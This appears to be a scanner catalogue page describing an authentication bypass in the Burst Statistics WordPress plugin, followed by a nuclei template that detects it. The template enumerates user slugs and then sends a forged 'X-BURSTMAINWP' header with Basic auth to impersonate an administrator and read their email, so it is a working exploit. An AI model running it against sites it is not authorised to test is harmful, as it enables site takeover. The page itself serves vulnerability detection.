WordPress Burst Statistics 3.4.0-3.4.1.1 - Authentication Bypass

criticalseverity

9.8CVSS score

14.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Burst Statistics – Privacy-Friendly WordPress Analytics plugin 3.4.0 to 3.4.1.1 contains an authentication bypass caused by incorrect return-value handling in is_mainwp_authenticated() function, letting unauthenticated attackers impersonate administrators, exploit requires knowledge of an administrator username.

Impact

Unauthenticated attackers can impersonate administrators, leading to privilege escalation and full control over the application.

Fix

Update to a version later than 3.4.1.1 or the latest available version.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/burst-statistics/readme.txt
Positive when: status_code == 200 and contains(to_lower(body), "burst statistics") and compare_versions(version, ">= 3.4.0", "<= 3.4.1.1")
Send: GET {{BaseURL}}/wp-json/wp/v2/users
Positive when: status_code == 200 and contains(body, "\"slug\"")
Send: GET /wp-json/wp/v2/users/me?context=edit
Positive when: status_code == 200 and contains_all(body, "\"id\"", "\"email\"", "\"roles\"", "\"administrator\"") and contains(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2026-8181 -u <target>

The full check

id: CVE-2026-8181

info:
  name: WordPress Burst Statistics 3.4.0-3.4.1.1 - Authentication Bypass
  author: 0x_Akoko
  severity: critical
  description: |
    Burst Statistics – Privacy-Friendly WordPress Analytics plugin 3.4.0 to 3.4.1.1 contains an authentication bypass caused by incorrect return-value handling in is_mainwp_authenticated() function, letting unauthenticated attackers impersonate administrators, exploit requires knowledge of an administrator username.
  impact: |
    Unauthenticated attackers can impersonate administrators, leading to privilege escalation and full control over the application.
  remediation: |
    Update to a version later than 3.4.1.1 or the latest available version.
  reference:
    - https://github.com/murrez/CVE-2026-8181
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8181
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-8181
    epss-score: 0.14608
    epss-percentile: 0.96678
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 3
    vendor: really-simple-plugins
    product: burst-statistics
    publicwww-query: "/wp-content/plugins/burst-statistics/"
  tags: cve,cve2026,wp,wp-plugin,wordpress,burst-statistics,auth-bypass,unauth,vkev

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/burst-statistics/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(to_lower(body), "burst statistics")'
          - 'compare_versions(version, ">= 3.4.0", "<= 3.4.1.1")'
        internal: true
        condition: and

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([\w.]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/users"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"slug\"")'
        internal: true
        condition: and

    extractors:
      - type: regex
        name: admin_user
        part: body
        group: 1
        regex:
          - '"slug":"([^"]+)"'
        internal: true

  - raw:
      - |
        GET /wp-json/wp/v2/users/me?context=edit HTTP/1.1
        Host: {{Hostname}}
        X-BURSTMAINWP: 1
        Authorization: Basic {{base64(admin_user + ':x')}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"id\"", "\"email\"", "\"roles\"", "\"administrator\"")'
          - 'contains(content_type, "application/json")'
        condition: and

    extractors:
      - type: json
        part: body
        json:
          - '.email'

References

Use this check only on systems you are authorised to test. Where the data comes from